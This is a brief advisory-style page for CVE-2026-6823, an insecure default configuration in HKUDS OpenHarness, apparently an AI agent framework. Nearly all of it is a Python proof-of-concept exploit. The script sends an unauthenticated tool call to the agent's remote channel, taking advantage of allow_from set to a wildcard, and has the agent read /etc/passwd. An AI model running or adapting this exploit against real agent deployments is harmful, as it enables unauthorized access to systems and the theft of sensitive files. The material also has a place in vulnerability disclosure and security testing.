CVE-2026-6823 HKUDS OpenHarness不安全默认配置漏洞

import requests # Conceptual PoC for CVE-2026-6823 # This script demonstrates connecting to a vulnerable OpenHarness instance # and exploiting the insecure default configuration to read files. TARGET_URL = "http://target-openharness-instance:port/remote-channel-endpoint" def exploit(): # 1. Prepare payload to interact with the agent runtime # Since allow_from is ["*"], no specific authentication header is needed. payload = { "tool": "read_file", # Assuming a default read-only tool exists "args": { "path": "/etc/passwd" # Sensitive file to read } } try: # 2. Send request to the remote channel response = requests.post(TARGET_URL, json=payload) # 3. Check if the access control was bypassed successfully if response.status_code == 200: print("[+] Exploit successful! Access control bypassed.") print("[+] File content retrieved:") print(response.text) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()